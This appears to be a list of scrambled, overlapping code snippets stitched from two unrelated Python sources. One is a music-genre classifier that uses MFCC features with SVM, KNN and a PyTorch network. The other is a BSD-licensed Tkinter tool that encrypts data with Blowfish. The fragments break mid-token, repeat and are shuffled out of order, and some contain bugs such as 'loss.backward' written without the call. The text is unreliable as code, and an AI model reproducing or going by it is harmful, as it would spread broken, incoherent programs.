"weak \\ else SVC(C=10000, kernel='poly', degree=6, tol=0.01, max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train,",
"data['labels'] X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=test_size, random_state=42)",
"to 22ms (default); that is the \"sweet spot\" based on",
"if weak: dataset = datasets.MfccDatasetWeak(mfcc_path, tensorize) net = models.MfccNetWeak() else:",
"y_train = norm_data['y_train'] y_test = norm_data['y_test'] tic = time.time() svm_clf",
"= torch.max(outputs.data, 1) total += labels.size(0) correct += (predicted ==",
"datasets.MfccDatasetWeak(mfcc_path, tensorize) net = models.MfccNetWeak() else: dataset = datasets.MfccDataset(mfcc_path, tensorize)",
"verbose=False): norm_data = normalize_and_split(data, test_size, verbose) X_train = norm_data['X_train'] X_test",
"are heavily data-driven (i.e. feed more data for more performance",
"weak=True, verbose=True) else: data = mfcc_processing.featurize_data(mfccs, weak=False, verbose=True) print svm_classifier(data,",
"running_loss = 0.0 for i, data in enumerate(trainloader, 0): inputs,",
"X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=test_size, random_state=42) norm_data",
"= norm_data['y_train'] y_test = norm_data['y_test'] tic = time.time() svm_clf =",
"None if not have_mfccs: have_mfccs = True print 'calculating mfccs...'",
"norm_data['X_train'] = X_train norm_data['X_test'] = X_test norm_data['y_train'] = y_train norm_data['y_test']",
"print 'retrieving mfccs...' mfccs = mfcc_processing.read_mfccs(mfcc_path, True) data = mfcc_processing.featurize_data(mfccs,",
"= normalize_and_split(data, test_size, verbose) X_train = norm_data['X_train'] X_test = norm_data['X_test']",
"print '\\ttime taken for KNN classifier to run is', toc-tic",
"True) data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print weak = False",
"is', toc-tic return def mfcc_nn_model(num_epochs, test_size, weak=False, verbose=False): tic =",
"datasets.ToTensor() dataset = None net = None if weak: dataset",
"% (epoch + 1, i + 1, running_loss / 2000))",
"input_path = './data/genres/' mfcc_path = './data/processed/mfcc/' have_mfccs = True def",
"import KMeans from sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing import normalize",
"time.time() knn_clf = KNeighborsClassifier(n_neighbors=3, weights='distance', p=1, n_jobs=-1) if weak \\",
"y_train.shape print 'Test sample feature size:', X_test.shape print 'Test sample",
"import torch.optim as optim from processing import mfcc_processing, datasets from",
"= mfcc_processing.write_mfccs(input_path, mfcc_path, True) else : print 'retrieving mfccs...' mfccs",
"nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=0.1, momentum=0.8) for epoch in range(num_epochs):",
"weak: data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print svm_classifier(data, test_size=0.10, weak=True,",
"is', toc-tic return if __name__ == '__main__': mfccs = None",
"tensorize) net = models.MfccNet() trainloader, testloader = datasets.train_test_dataset_split(dataset) criterion =",
"test_size, verbose) X_train = norm_data['X_train'] X_test = norm_data['X_test'] y_train =",
"else KNeighborsClassifier(n_neighbors=8, weights='distance', p=1, n_jobs=-1) knn_clf.fit(X_train, y_train) print 'TEST ACCURACY:',",
"KNeighborsClassifier(n_neighbors=8, weights='distance', p=1, n_jobs=-1) knn_clf.fit(X_train, y_train) print 'TEST ACCURACY:', knn_clf.score(X_test,",
"run is', toc-tic return def knn_classifier(data, test_size, weak=False, verbose=False): norm_data",
"0): inputs, labels = data # zero the parameter gradients",
"normalize_and_split(data, test_size, verbose) X_train = norm_data['X_train'] X_test = norm_data['X_test'] y_train",
"momentum=0.8) for epoch in range(num_epochs): running_loss = 0.0 for i,",
"weakly supervised learning (4 classes) - Strong implies strongly (fully)",
"dataset = datasets.MfccDataset(mfcc_path, tensorize) net = models.MfccNet() trainloader, testloader =",
"weak=False, verbose=False): tic = time.time() tensorize = datasets.ToTensor() dataset =",
"'TEST ACCURACY:', 1. * correct / total toc = time.time()",
"mfcc_processing, datasets from deep_models import models from sklearn.model_selection import train_test_split",
"Accuracy increases as the test set gets smaller, which implies",
"weights='distance', p=1, n_jobs=-1) knn_clf.fit(X_train, y_train) print 'TEST ACCURACY:', knn_clf.score(X_test, y_test)",
"optimize outputs = net(inputs) loss = criterion(outputs, labels) loss.backward optimizer.step()",
"optimizer.zero_grad() # forward + backward + optimize outputs = net(inputs)",
"(for the MFCC of each track) - Accuracy increases as",
"degree=3, tol=0.0001, max_iter=5000, decision_function_shape='ovr') if weak \\ else SVC(C=10000, kernel='poly',",
"import models from sklearn.model_selection import train_test_split from sklearn.svm import SVC",
"else: data = mfcc_processing.featurize_data(mfccs, weak=False, verbose=True) print svm_classifier(data, test_size=0.10, weak=False,",
"time import warnings warnings.filterwarnings(\"ignore\") import numpy as np import torch",
"return if __name__ == '__main__': mfccs = None data =",
"mfcc_path, True) else : print 'retrieving mfccs...' mfccs = mfcc_processing.read_mfccs(mfcc_path,",
"def normalize_and_split(data, test_size, verbose=False): scaler = MinMaxScaler() features = scaler.fit_transform(data['features'])",
"tensorize) net = models.MfccNetWeak() else: dataset = datasets.MfccDataset(mfcc_path, tensorize) net",
"- frame number is set to 22ms (default); that is",
"KNN classifier to run is', toc-tic return def mfcc_nn_model(num_epochs, test_size,",
"models from sklearn.model_selection import train_test_split from sklearn.svm import SVC from",
"with torch.no_grad(): for data in testloader: inputs, labels = data",
"for SVM classifier to run is', toc-tic return def knn_classifier(data,",
"return norm_data def svm_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data,",
"X_test.shape print 'Test sample label size:', y_test.shape return norm_data def",
"1. * correct / total toc = time.time() if verbose:",
"= time.time() knn_clf = KNeighborsClassifier(n_neighbors=3, weights='distance', p=1, n_jobs=-1) if weak",
"mfcc_processing.write_mfccs(input_path, mfcc_path, True) else : print 'retrieving mfccs...' mfccs =",
"# print statistics running_loss += loss.item() if verbose and i",
"import MinMaxScaler from sklearn.preprocessing import normalize input_path = './data/genres/' mfcc_path",
"= norm_data['X_test'] y_train = norm_data['y_train'] y_test = norm_data['y_test'] tic =",
"p=1, n_jobs=-1) if weak \\ else KNeighborsClassifier(n_neighbors=8, weights='distance', p=1, n_jobs=-1)",
"every 2000 mini-batches print('[%d, %5d] loss: %.3f' % (epoch +",
"def knn_classifier(data, test_size, weak=False, verbose=False): norm_data = normalize_and_split(data, test_size, verbose)",
"for i, data in enumerate(trainloader, 0): inputs, labels = data",
"0 total = 0 with torch.no_grad(): for data in testloader:",
"feature size:', X_train.shape print 'Training sample label size:', y_train.shape print",
"KMeans from sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing import normalize input_path",
"toc = time.time() if verbose: print '\\ttime taken for Mfcc",
"verbose) X_train = norm_data['X_train'] X_test = norm_data['X_test'] y_train = norm_data['y_train']",
"= None data = None if not have_mfccs: have_mfccs =",
"strongly (fully) superversied learning (10 classes) - frame number is",
"weak=True, verbose=True) print svm_classifier(data, test_size=0.10, weak=True, verbose=True) print knn_classifier(data, test_size=0.10,",
"mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print svm_classifier(data, test_size=0.10, weak=True, verbose=True) print knn_classifier(data,",
"= mfcc_processing.featurize_data(mfccs, weak=False, verbose=True) print svm_classifier(data, test_size=0.10, weak=False, verbose=True) print",
"\\ else KNeighborsClassifier(n_neighbors=8, weights='distance', p=1, n_jobs=-1) knn_clf.fit(X_train, y_train) print 'TEST",
"''' import os import glob import sys import time import",
"numpy as np import torch import torch.nn as nn import",
"= data['labels'] X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=test_size,",
"weak=True, verbose=True) print weak = False if weak: data =",
"the \"sweet spot\" based on dsp literature - sampling rate",
"+= (predicted == labels).sum().item() print 'TEST ACCURACY:', 1. * correct",
"= 0.0 correct = 0 total = 0 with torch.no_grad():",
"as np import torch import torch.nn as nn import torch.nn.functional",
"taken for Mfcc NN to run is', toc-tic return if",
"else SVC(C=10000, kernel='poly', degree=6, tol=0.01, max_iter=5000, decision_function_shape='ovr') svm_clf.fit(X_train, y_train) print",
"inputs, labels = data # zero the parameter gradients optimizer.zero_grad()",
"print('[%d, %5d] loss: %.3f' % (epoch + 1, i +",
"'calculating mfccs...' mfccs = mfcc_processing.write_mfccs(input_path, mfcc_path, True) else : print",
"import torch.nn.functional as F import torch.optim as optim from processing",
"= mfcc_processing.read_mfccs(mfcc_path, True) data = mfcc_processing.featurize_data(mfccs, weak=True, verbose=True) print weak",
"None if weak: dataset = datasets.MfccDatasetWeak(mfcc_path, tensorize) net = models.MfccNetWeak()",
"not have_mfccs: have_mfccs = True print 'calculating mfccs...' mfccs =",
"X_test norm_data['y_train'] = y_train norm_data['y_test'] = y_test if verbose: print",
"y_test.shape return norm_data def svm_classifier(data, test_size, weak=False, verbose=False): norm_data =",
"i, data in enumerate(trainloader, 0): inputs, labels = data #",
"sklearn.cluster import KMeans from sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing import",
"%5d] loss: %.3f' % (epoch + 1, i + 1,",
"torch import torch.nn as nn import torch.nn.functional as F import",
"verbose and i % 5 == 0: # print every",
"= 0.0 for i, data in enumerate(trainloader, 0): inputs, labels",
"if weak \\ else SVC(C=10000, kernel='poly', degree=6, tol=0.01, max_iter=5000, decision_function_shape='ovr')",
"verbose=True) print svm_classifier(data, test_size=0.10, weak=False, verbose=True) print knn_classifier(data, test_size=0.10, weak=False,",
"from sklearn.preprocessing import normalize input_path = './data/genres/' mfcc_path = './data/processed/mfcc/'",
"verbose: print '\\ttime taken for Mfcc NN to run is',",
"number is set to 22ms (default); that is the \"sweet",
"train_test_split(features, labels, test_size=test_size, random_state=42) norm_data = {} norm_data['X_train'] = X_train",
"which implies that a lot of these machine learning models",
"test_size, weak=False, verbose=False): tic = time.time() tensorize = datasets.ToTensor() dataset",
"rate is 16kHz (for the MFCC of each track) -",
"n_jobs=-1) if weak \\ else KNeighborsClassifier(n_neighbors=8, weights='distance', p=1, n_jobs=-1) knn_clf.fit(X_train,",
"y_train) print 'TEST ACCURACY:', knn_clf.score(X_test, y_test) toc = time.time() if",
"total += labels.size(0) correct += (predicted == labels).sum().item() print 'TEST",
"= './data/processed/mfcc/' have_mfccs = True def normalize_and_split(data, test_size, verbose=False): scaler",
"weak: dataset = datasets.MfccDatasetWeak(mfcc_path, tensorize) net = models.MfccNetWeak() else: dataset",
"sklearn.model_selection import train_test_split from sklearn.svm import SVC from sklearn.neighbors import",
"mfcc_processing.featurize_data(mfccs, weak=False, verbose=True) print svm_classifier(data, test_size=0.10, weak=False, verbose=True) print knn_classifier(data,",
"classes) - frame number is set to 22ms (default); that",
"(fully) superversied learning (10 classes) - frame number is set",
"to run is', toc-tic return def knn_classifier(data, test_size, weak=False, verbose=False):",
"net(inputs) _, predicted = torch.max(outputs.data, 1) total += labels.size(0) correct",
"test_size=0.10, weak=True, verbose=True) print knn_classifier(data, test_size=0.10, weak=True, verbose=True) print mfcc_nn_model(num_epochs=10,",
"implies that a lot of these machine learning models are",
"= norm_data['X_train'] X_test = norm_data['X_test'] y_train = norm_data['y_train'] y_test =",
"print svm_classifier(data, test_size=0.10, weak=True, verbose=True) print knn_classifier(data, test_size=0.10, weak=True, verbose=True)",
"y_test = train_test_split(features, labels, test_size=test_size, random_state=42) norm_data = {} norm_data['X_train']",
"'\\ttime taken for KNN classifier to run is', toc-tic return",
"performance boosts) - Currently, optimal benchmark results are achieved with",
"import sys import time import warnings warnings.filterwarnings(\"ignore\") import numpy as",
"norm_data['X_train'] X_test = norm_data['X_test'] y_train = norm_data['y_train'] y_test = norm_data['y_test']",
"= time.time() tensorize = datasets.ToTensor() dataset = None net =",
"SVC(C=10000, kernel='poly', degree=3, tol=0.0001, max_iter=5000, decision_function_shape='ovr') if weak \\ else",
"labels = data outputs = net(inputs) _, predicted = torch.max(outputs.data,",
"np import torch import torch.nn as nn import torch.nn.functional as",
"'__main__': mfccs = None data = None if not have_mfccs:",
"size:', X_test.shape print 'Test sample label size:', y_test.shape return norm_data",
"import warnings warnings.filterwarnings(\"ignore\") import numpy as np import torch import",
"KNeighborsClassifier from sklearn.cluster import KMeans from sklearn.preprocessing import MinMaxScaler from",
"feed more data for more performance boosts) - Currently, optimal",
"nn import torch.nn.functional as F import torch.optim as optim from",
"processing import mfcc_processing, datasets from deep_models import models from sklearn.model_selection",
"= datasets.ToTensor() dataset = None net = None if weak:",
"glob import sys import time import warnings warnings.filterwarnings(\"ignore\") import numpy",
"- Currently, optimal benchmark results are achieved with a test",
"1, running_loss / 2000)) running_loss = 0.0 correct = 0",
"supervised learning (4 classes) - Strong implies strongly (fully) superversied",
"+= labels.size(0) correct += (predicted == labels).sum().item() print 'TEST ACCURACY:',",
"of the total data ''' import os import glob import",
"run is', toc-tic return def mfcc_nn_model(num_epochs, test_size, weak=False, verbose=False): tic",
"decision_function_shape='ovr') if weak \\ else SVC(C=10000, kernel='poly', degree=6, tol=0.01, max_iter=5000,",
"y_train) print 'TEST ACCURACY:', svm_clf.score(X_test, y_test) toc = time.time() if",
"import train_test_split from sklearn.svm import SVC from sklearn.neighbors import KNeighborsClassifier"
] |
[
"tkinter.messagebox try: import Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding except ImportError: exit(-1) #",
"and height of the window ww = root.winfo_width() wh =",
"cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) #",
"IF # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import",
"% ((sw/2) - (ww/2), (sh/2) - (wh/2))) root.mainloop() exit(1) #",
"materials provided with the distribution. # # THIS SOFTWARE IS",
"get width and height of the window ww = root.winfo_width()",
"except ImportError: exit(-1) # PyCryptodome is not installed # Print",
"ek, cit, ei)) combo_key_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type,",
"ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,",
"4 bytes and 56 bytes.\") return try: if mode ==",
"root, cm, ckt, ek, cit, ei)) entry_key.bind(\"<Return>\", lambda event, data=data,",
"columnspan=4, sticky=\"w\") label_ctr.grid_remove() # Set callback functions combo_mode.bind('<<ComboboxSelected>>', lambda event,",
"# # 1. Redistributions of source code must retain the",
"above copyright notice, # this list of conditions and the",
"in the # documentation and/or other materials provided with the",
"OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT",
"# # Redistribution and use in source and binary forms,",
"PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,",
"return else: key = key.encode() if mode in [\"CBC\", \"CFB\",",
"= tkinter.Label(root, text=\"IV type:\") label_iv_type.grid(row=2, column=0, padx=5, pady=5, sticky=\"w\") combo_iv_type",
"combo_iv_type.grid(row=2, column=1, padx=5, pady=5) label_iv = tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2, column=2,",
"ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) combo_key_type.bind(\"<Return>\", lambda",
"cit.configure(state = \"readonly\") ei.configure(state = \"normal\") if mode == \"CTR\":",
"ckt.get() key = ek.get() iv_type = cit.get() iv = ei.get()",
"tkinter.Label(root, text=\"Key type:\") label_key_type.grid(row=1, column=0, padx=5, pady=5, sticky=\"w\") combo_key_type =",
"entry_key.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv:",
"notice, # this list of conditions and the following disclaimer.",
"else: tkinter.messagebox.showerror(\"Error:\", message=\"Key is not in hex format.\") return else:",
"initial_value (compatible with CyberChef). cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7])",
"encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root: r.quit())) label_mode = tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0,",
"in binary form must reproduce the above copyright # notice,",
"PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE",
"# # Copyright (c) 2019, <NAME> # All rights reserved.",
"last one\\nbyte is used as the initial value of the",
"combo_iv_type[\"values\"] = (\"Text\", \"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1, padx=5, pady=5) label_iv",
"state=\"readonly\") combo_mode[\"values\"] = (\"ECB\", \"CBC\", \"CFB\", \"OFB\", \"CTR\") combo_mode.current(0) combo_mode.grid(row=0,",
"and 56 bytes.\") return try: if mode == \"CFB\": cipher",
"# Print selected items def encrypt(data, root, cm, ckt, ek,",
"tkinter.Label(root, text=\"Key:\") label_key.grid(row=1, column=2, padx=5, pady=5, sticky=\"w\") entry_key = tkinter.Entry(width=32)",
"OF USE, DATA, OR PROFITS; # OR BUSINESS INTERRUPTION) HOWEVER",
"len(iv) != Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV size must be %d bytes.\"",
"column=0, padx=5, pady=5, sticky=\"w\") combo_key_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_key_type[\"values\"]",
"label_iv_type.grid(row=2, column=0, padx=5, pady=5, sticky=\"w\") combo_iv_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\")",
"= ckt.get() key = ek.get() iv_type = cit.get() iv =",
"ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) entry_iv.bind(\"<Return>\", lambda",
"cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) combo_iv_type.bind(\"<Return>\",",
"encrypt(data, root, cm, ckt, ek, cit, ei)) # These are",
"documentation and/or other materials provided with the distribution. # #",
"initial state (ECB mode) combo_iv_type.configure(state = \"disabled\") entry_iv.configure(state = \"disabled\")",
"\"normal\") if mode == \"CTR\": lc.grid() else: lc.grid_remove() # Receive",
"ek, cit, ei))) button.grid(row=3, column=0, padx=5, pady=5, columnspan=4) label_ctr =",
"list of conditions and the following disclaimer in the #",
"(\"ECB\", \"CBC\", \"CFB\", \"OFB\", \"CTR\") combo_mode.current(0) combo_mode.grid(row=0, column=1, padx=5, pady=5,",
"column=3, padx=5, pady=5, sticky=\"w\") entry_key.focus() # Focus to this widget",
"in hex format.\") return else: iv = iv.encode() if mode",
"key_length > 56: tkinter.messagebox.showerror(\"Error:\", message=\"Key size must be in the",
"= tkinter.Entry(width=32) entry_key.grid(row=1, column=3, padx=5, pady=5, sticky=\"w\") entry_key.focus() # Focus",
"NO EVENT SHALL THE COPYRIGHT HOLDER OR # CONTRIBUTORS BE",
"LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR",
"cit.get() iv = ei.get() if key_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\",",
"source and binary forms, with or without # modification, are",
"combo_mode.current(0) combo_mode.grid(row=0, column=1, padx=5, pady=5, sticky=\"w\") label_key_type = tkinter.Label(root, text=\"Key",
"column=0, padx=5, pady=5, columnspan=4, sticky=\"w\") label_ctr.grid_remove() # Set callback functions",
"= tkinter.Entry(width=32) entry_iv.grid(row=2, column=3, padx=5, pady=5, sticky=\"w\") button = tkinter.Button(root,",
"# # Blowfish encrypt - Encrypt selected region with Blowfish",
"key_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", key): key = binascii.a2b_hex(key) else:",
"= \"disabled\") # Adjust window position sw = root.winfo_screenwidth() sh",
"if mode == \"ECB\": cit.configure(state = \"disabled\") ei.configure(state = \"disabled\")",
"root.winfo_screenwidth() sh = root.winfo_screenheight() root.update_idletasks() # Necessary to get width",
"entry_iv.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv:",
"tkinter.messagebox.showerror(\"Error:\", message=\"IV size must be %d bytes.\" % Cryptodome.Cipher.Blowfish.block_size) return",
"range from 4 bytes and 56 bytes.\") return try: if",
"Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size * 8) elif mode in [\"CBC\",",
"= (\"Text\", \"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1, column=1, padx=5, pady=5) label_key =",
"# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY",
"d = cipher.encrypt(data) except Exception as e: tkinter.messagebox.showerror(\"Error:\", message=e) root.quit()",
"cit, ei)) entry_iv.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key,",
"used as the nonce and the last one\\nbyte is used",
"# documentation and/or other materials provided with the distribution. #",
"entry_key.focus() # Focus to this widget label_iv_type = tkinter.Label(root, text=\"IV",
"root, cm, ckt, ek, cit, ei)) entry_iv.bind(\"<Return>\", lambda event, data=data,",
"lc): mode = cm.get() if mode == \"ECB\": cit.configure(state =",
"data = sys.stdin.buffer.read() # Create input dialog root = tkinter.Tk()",
"CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF",
"Cryptodome.Cipher.Blowfish.block_size) return key_length = len(key) if key_length < 4 or",
"cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7]) else: cipher = Cryptodome.Cipher.Blowfish.new(key,",
"sticky=\"w\") label_key_type = tkinter.Label(root, text=\"Key type:\") label_key_type.grid(row=1, column=0, padx=5, pady=5,",
"ImportError: exit(-1) # PyCryptodome is not installed # Print selected",
"padx=5, pady=5, sticky=\"w\") entry_iv = tkinter.Entry(width=32) entry_iv.grid(row=2, column=3, padx=5, pady=5,",
"DAMAGE. import binascii import re import sys import time import",
"else: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if mode in [\"ECB\", \"CBC\"]:",
"ek, cit, ei)) combo_iv_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type,",
"[\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and len(iv) != Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV",
"NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND",
"text=\"Note:\\nThe first seven bytes of IV are used as the",
"disclaimer. # 2. Redistributions in binary form must reproduce the",
"Blowfish encrypt - Encrypt selected region with Blowfish # #",
"cit, ei)) entry_key.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key,",
"mode = cm.get() if mode == \"ECB\": cit.configure(state = \"disabled\")",
"AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT,",
"tkinter.Button(root, text=\"OK\", command=(lambda data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv:",
"and binary forms, with or without # modification, are permitted",
"ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) # These",
"cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek,",
"encrypt(data, root, cm, ckt, ek, cit, ei)) combo_iv_type.bind(\"<Return>\", lambda event,",
"\"CFB\": cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size * 8) elif",
"tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2, column=2, padx=5, pady=5, sticky=\"w\") entry_iv = tkinter.Entry(width=32)",
"selected region with Blowfish # # Copyright (c) 2019, <NAME>",
"of the counter (compatible with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4, column=0, padx=5, pady=5,",
"tkinter.messagebox.showerror(\"Error:\", message=\"Key size must be in the range from 4",
"\"AS # IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,",
"form must reproduce the above copyright # notice, this list",
"if mode in [\"ECB\", \"CBC\"]: data = Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d",
"entry_key = tkinter.Entry(width=32) entry_key.grid(row=1, column=3, padx=5, pady=5, sticky=\"w\") entry_key.focus() #",
"lc.grid() else: lc.grid_remove() # Receive data data = sys.stdin.buffer.read() #",
"entry_iv.grid(row=2, column=3, padx=5, pady=5, sticky=\"w\") button = tkinter.Button(root, text=\"OK\", command=(lambda",
"# Set callback functions combo_mode.bind('<<ComboboxSelected>>', lambda event, root=root, cm=combo_mode, cit=combo_iv_type,",
"combo_iv_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_iv_type[\"values\"] = (\"Text\", \"Hex\") combo_iv_type.current(0)",
"WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE",
"the initial value of the counter (compatible with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4,",
"root, cm, ckt, ek, cit, ei): blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC,",
"of source code must retain the above copyright notice, #",
"THE COPYRIGHT HOLDER OR # CONTRIBUTORS BE LIABLE FOR ANY",
"used as nonce and the last byte is used as",
"Exception as e: tkinter.messagebox.showerror(\"Error:\", message=e) root.quit() exit(1) # Not decrypted",
"iv_type = cit.get() iv = ei.get() if key_type == \"Hex\":",
"root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root: r.quit())) label_mode = tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0, column=0,",
"NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;",
"label_ctr.grid(row=4, column=0, padx=5, pady=5, columnspan=4, sticky=\"w\") label_ctr.grid_remove() # Set callback",
"FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL",
"A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL",
"in the range from 4 bytes and 56 bytes.\") return",
"key_type = ckt.get() key = ek.get() iv_type = cit.get() iv",
"# this list of conditions and the following disclaimer. #",
"mode in [\"ECB\", \"CBC\"]: data = Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d =",
"* 8) elif mode in [\"CBC\", \"OFB\"]: cipher = Cryptodome.Cipher.Blowfish.new(key,",
"- Encrypt selected region with Blowfish # # Copyright (c)",
"combo_mode = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_mode[\"values\"] = (\"ECB\", \"CBC\", \"CFB\",",
"encrypt - Encrypt selected region with Blowfish # # Copyright",
"and len(iv) != Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV size must be %d",
"as the nonce and the last one\\nbyte is used as",
"= Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if mode in [\"ECB\", \"CBC\"]: data =",
"seven bytes of IV are used as the nonce and",
"WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF",
"reproduce the above copyright # notice, this list of conditions",
"label_iv.grid(row=2, column=2, padx=5, pady=5, sticky=\"w\") entry_iv = tkinter.Entry(width=32) entry_iv.grid(row=2, column=3,",
"cm, ckt, ek, cit, ei)) entry_iv.bind(\"<Return>\", lambda event, data=data, root=root,",
"root.winfo_screenheight() root.update_idletasks() # Necessary to get width and height of",
"key.encode() if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and iv_type",
"INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT",
"the window ww = root.winfo_width() wh = root.winfo_height() root.geometry('+%d+%d' %",
"\"OFB\", \"CTR\"] and len(iv) != Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV size must",
"is not in hex format.\") return else: key = key.encode()",
"THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR",
"Cryptodome.Util.Padding except ImportError: exit(-1) # PyCryptodome is not installed #",
"message=\"Key size must be in the range from 4 bytes",
"\"CTR\") combo_mode.current(0) combo_mode.grid(row=0, column=1, padx=5, pady=5, sticky=\"w\") label_key_type = tkinter.Label(root,",
"exit(1) # Not decrypted sys.stdout.buffer.write(d) root.quit() exit(0) # Decrypted successfully",
"tkinter.Label(root, text=\"Note:\\nThe first seven bytes of IV are used as",
"cit, ei)) combo_key_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key,",
"OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF",
"if mode == \"CFB\": cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size",
"iv = ei.get() if key_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", key):",
"\"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1, padx=5, pady=5) label_iv = tkinter.Label(root, text=\"IV:\")",
"THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS",
"following conditions are met: # # 1. Redistributions of source",
"ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import binascii import",
"ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) button.bind(\"<Return>\", lambda",
"OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF",
"Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV size must be %d bytes.\" % Cryptodome.Cipher.Blowfish.block_size)",
"ckt, ek, cit, ei)) combo_iv_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode,",
"HOLDER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,",
"FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT",
"hex format.\") return else: key = key.encode() if mode in",
